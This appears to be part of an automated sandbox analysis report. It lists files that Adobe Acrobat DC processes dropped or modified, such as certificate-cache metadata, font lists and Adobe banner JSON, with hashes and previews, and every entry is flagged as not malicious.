Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFkloM53KPtfllXlE/HT8koprXNNX8RolJuRdxLlGB9lQRYwpDdt:kKxO3yeT8hNMa8RdWBwRd
MD5:	0DB07CA748CA451772F70A3A79659D4D
SHA1:	F0C7102DA2E19CF48C03F76117D6998EC5123A18
SHA-256:	12F7CC84A7687835B8E51A274B039D2076BFDE56B4371CC30CB960EE2081605B
SHA-512:	A02EA85A7481B6E0EEB7809AFB849270F0E2E22B381A3D377E9AE7B449488492A856EFA54D8B0BBDECFA85C20773A871CF30ECB6EBD143F5398E649FB942F2F5
Malicious:	false
Preview:	p...... .........i..c..(....................................................... ..........W....M...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.236892865807448
Encrypted:	false
SSDEEP:	6:kKH3/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3://iDImsLNkPlE99SNxAhUe/3
MD5:	DCAAC1F02E13ECCB3E35FD714E65DAD0
SHA1:	08FE1DDE275CB04B15ABCFDE16B2A7B6F769726D
SHA-256:	238E94BCFDEA647BD25DDDEF8952568DD2FCD39B6C5919C8397DE6D0DC9F47E8
SHA-512:	EB40BCC7C8E74E2F8B9B03DC41A44ECCD05863B11F0C0D136997E72894AF37237885EC91B446CAD0C6AF3EA0FC43E46E207FC752CAABDF0DAD18D0D6B0CBDE31
Malicious:	false
Preview:	p...... .............c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7392

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7392

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3497916662484295
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyBusdHwswz2vB3/dVlPIHAR0Y02oqoAvJM3g98kUwPeUkwRe9:YvXKXyhFvR/ZwHANoGMbLUkee9
MD5:	EFDCB8AD96ABE6F9D52E46E681A483A0
SHA1:	82D25044737B269D0C6EDB47526838793B66AA1D
SHA-256:	92BBBBB0DE0CFC44539E369DD4536AAD053941BC33B619C8605BDF70D7FEE414
SHA-512:	54C7CB146090EA646CB03DA62246FC665D8AA9AA96554B972DB53413FB132BA05714863C5DF3AF156A1604AE9C6472746D348BBD33B8E7A26B2F9E4EEA671275
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b3f89d8-6341-406c-bbe4-2398fac0c6b8","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736742802398,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.2857187139391835
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyBusdHwswz2vB3/dVlPIHAR0Y02oqoAvJfBoTfXpnrPeUkwRe9:YvXKXyhFvR/ZwHANoGWTfXcUkee9
MD5:	4E4D993C863092C798E9CF3359574E71
SHA1:	9177924824935E5BF05DAD1560F7BFBAD42282F4
SHA-256:	AC0A46AE65F7D5CEF07587791E50DF7FB563143DA0FCD5BB0FF19E947934A4B8
SHA-512:	4B2030932FBE629E0895DAF994D1747F936D658507C4B42AF295F7609CC727C50F3B37DD1ACF08A34461461ACC76C0C689EFAF8A32C9E30D35738AD89AFE12BC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b3f89d8-6341-406c-bbe4-2398fac0c6b8","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736742802398,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.263568807516253
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyBusdHwswz2vB3/dVlPIHAR0Y02oqoAvJfBD2G6UpnrPeUkwRe9:YvXKXyhFvR/ZwHANoGR22cUkee9
MD5:	22B476BD7ED9CE3ADDF7BCA05A3C2144
SHA1:	0B7937D61292A5386214FA8B404C4DDE7BC8AF28
SHA-256:	492F255D8E26559AA589A3603B735F253592EE050D77FAFCB416CE44125C39CF
SHA-512:	BB1BBACD0F0C3B0E473BF17008269473FB9F42A5644C1A36A272E74F9719DCBE7BEE2D0BDBC19D77C9029C53867419CE53AD8573F778B4678274E91AA8C2076C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b3f89d8-6341-406c-bbe4-2398fac0c6b8","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736742802398,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.326264012089558
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyBusdHwswz2vB3/dVlPIHAR0Y02oqoAvJfPmwrPeUkwRe9:YvXKXyhFvR/ZwHANoGH56Ukee9
MD5:	27DEAE134B780B38FD06EB370D0A3A9E
SHA1:	51E8557328600C213F8874C918AB86F675C52EFC
SHA-256:	C8D0B5EB8FFD13F08BB5FDE3F3E4E62488C8575401A96F66FC4D09B32BF83731
SHA-512:	6440A3F8DFDC931856CBAC8CB88CC3A07A4CC373B87FC7586776418FA223D892DDB69C5FC4DFA3D6508A8FBF8F5B23B9A0EA6BCE512A4962A19E36ACBAE4D3EC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b3f89d8-6341-406c-bbe4-2398fac0c6b8","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736742802398,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.690177242051084
Encrypted:	false
SSDEEP:	24:Yv6XyzJhvpLgE9cQx8LennAvzBvkn0RCmK8czOCCSP:YvpJhvhgy6SAFv5Ah8cv/P
MD5:	0C4B3013E101E930101B92BD97607BCA
SHA1:	B4DB567DBFD584DAE89FB8F9F24B582394270478
SHA-256:	3AE8196A844B6A47DC3E31018272D63EA8C10CD335B7F2224DA2AFEB5258ABC8
SHA-512:	D88708D2C08C0416E8F0B516343D1C2261DA741BEFDD868F0DB07BE117BA6660B5B97956B02A3893C850A7BA8E6E1439FB1F30A36043269C83EA984F1741844D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b3f89d8-6341-406c-bbe4-2398fac0c6b8","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736742802398,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.276250152921424
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyBusdHwswz2vB3/dVlPIHAR0Y02oqoAvJf8dPeUkwRe9:YvXKXyhFvR/ZwHANoGU8Ukee9
MD5:	A2426E95C4645F7D30BFD1470EB26DFB
SHA1:	8D5DD59428D83197713F21E8CEC71F627DF8FC11
SHA-256:	20786A318547E7ECB994956EE7D7E8F6CE64A64188C121E2365CB1BEDCD4DFBD
SHA-512:	81702A991B2F36EDC5C438625CFFA1A822F2203E5B9058EF9853967E10BA672AC8A26E51B20B61169E3ABF4431C409F5F834978407F6BE2317962620CCDEA8D1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b3f89d8-6341-406c-bbe4-2398fac0c6b8","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736742802398,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.274864128459681
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyBusdHwswz2vB3/dVlPIHAR0Y02oqoAvJfQ1rPeUkwRe9:YvXKXyhFvR/ZwHANoGY16Ukee9
MD5:	58B15ECF261747EBC85CB71746E3724A
SHA1:	0DCBDBAC36BD0FFE18DD7357EBF4095400AF289F
SHA-256:	6B6653104F76402F5A44168FFD86285E8D31A20B6BD07C01F8E407F8BD5FC45B
SHA-512:	1F20DC0922CBDC76B0203341931A852C7696C3BB7BFFD5B042A7596F22B41A8347ACE32F857F722ED8888B89CA6D1A530B754875D7D99FF59D3C0C0B0643104A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b3f89d8-6341-406c-bbe4-2398fac0c6b8","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736742802398,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.29217734662142
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyBusdHwswz2vB3/dVlPIHAR0Y02oqoAvJfFldPeUkwRe9:YvXKXyhFvR/ZwHANoGz8Ukee9
MD5:	3478176066A48C6E2ECA9C80152A895F
SHA1:	927195E1C80AECC724BA69C8627D89683FB9BFC1
SHA-256:	8C21834F885921E77A396205E05066966988CE5E24AE501C594DC6BE2448C0BC
SHA-512:	39B3F3BD656FFAE98CC27496A83C7C3C11AFB0A3C4587CF1052933DFC342ABBEFF3EDC884FF933A9077E038DF73E6897132A229CF9B58C71BF217E829BA39491
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b3f89d8-6341-406c-bbe4-2398fac0c6b8","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736742802398,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3057737423957505
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyBusdHwswz2vB3/dVlPIHAR0Y02oqoAvJfzdPeUkwRe9:YvXKXyhFvR/ZwHANoGb8Ukee9
MD5:	E2E7FC1149CD8173F0FCEF071ADBD2EE
SHA1:	6C95584C908904599CBC663D256B3E462DC328CA
SHA-256:	B6F8619A93D3A0D84DD091D79A4FB99CDA7292872D27EAF2A15B1C40F8B64C9B
SHA-512:	8D4644ACB73754ACBD9100DC8C71D6C87EF2EA5353BF8585554F51F84FDB8B78CC42DC4FEAC14443172B1F8E306C847132FB14334FB8CCAFCCF41394C57F058A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b3f89d8-6341-406c-bbe4-2398fac0c6b8","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736742802398,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2858415242885135
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyBusdHwswz2vB3/dVlPIHAR0Y02oqoAvJfYdPeUkwRe9:YvXKXyhFvR/ZwHANoGg8Ukee9
MD5:	1621A0AA4BBBEDA4B4149D640FE90C43
SHA1:	FEA11FF253C60A4DA08EAE582AD041E667E55AED
SHA-256:	E03478CE05B62C12F0EB385A5C53AF2D074B418C20A28D13EB76025851300FE7
SHA-512:	BF98DB03A26BE6582DFC9C43D72785C0BC53FB787A9EFE2DF67E7E15A59503B53898FDDB12563FCB7F951A1500E2900D209173948A64E16BEC9B00329F1A8319
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b3f89d8-6341-406c-bbe4-2398fac0c6b8","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736742802398,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.271642628172805
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyBusdHwswz2vB3/dVlPIHAR0Y02oqoAvJf+dPeUkwRe9:YvXKXyhFvR/ZwHANoG28Ukee9
MD5:	22E143CFA08CC5C3D9B756AAD05321BC
SHA1:	3A9BF5103CB2F936AF0E138DDC41D214ECECDB07
SHA-256:	A21A8A7E87B81A7F382EA447DECE4774B661A1C775CD34C9B73B1024D694CC27
SHA-512:	7D372D213AABDA557627DD81DA339C8DC59C0931207507F5DB412C4D06007BC6F81BF3AC9A87B1EC1670F806D8976C67756ED9C135C1DCEE6814E8E045A1DFB5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b3f89d8-6341-406c-bbe4-2398fac0c6b8","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736742802398,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.269485931073796
Encrypted:	false
SSDEEP:	6:YEQXJ2HXyBusdHwswz2vB3/dVlPIHAR0Y02oqoAvJfbPtdPeUkwRe9:YvXKXyhFvR/ZwHANoGDV8Ukee9
MD5:	87D6D2E4D5A78D855C2970B93D4E1524
SHA1:	C3726A377C66CB2A2ABBD8CE494361851DCA2F02
SHA-256:	E3649B96BB8D8FC82A68CF8A3AD4B4B0D2AA9064A32E77D43B148C382046B26F
SHA-512:	3EADDBC9828D0F45B2F767A6C40EF1ED1BDE2EDE82E149B195E2294584233E652A0929D7487A635B5E2F21039F7E97298B62C9D2B6EC48CDCBA7EDA9E94F6B37
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"5b3f89d8-6341-406c-bbe4-2398fac0c6b8","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736742802398,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.268018525256291
Encrypted:	false
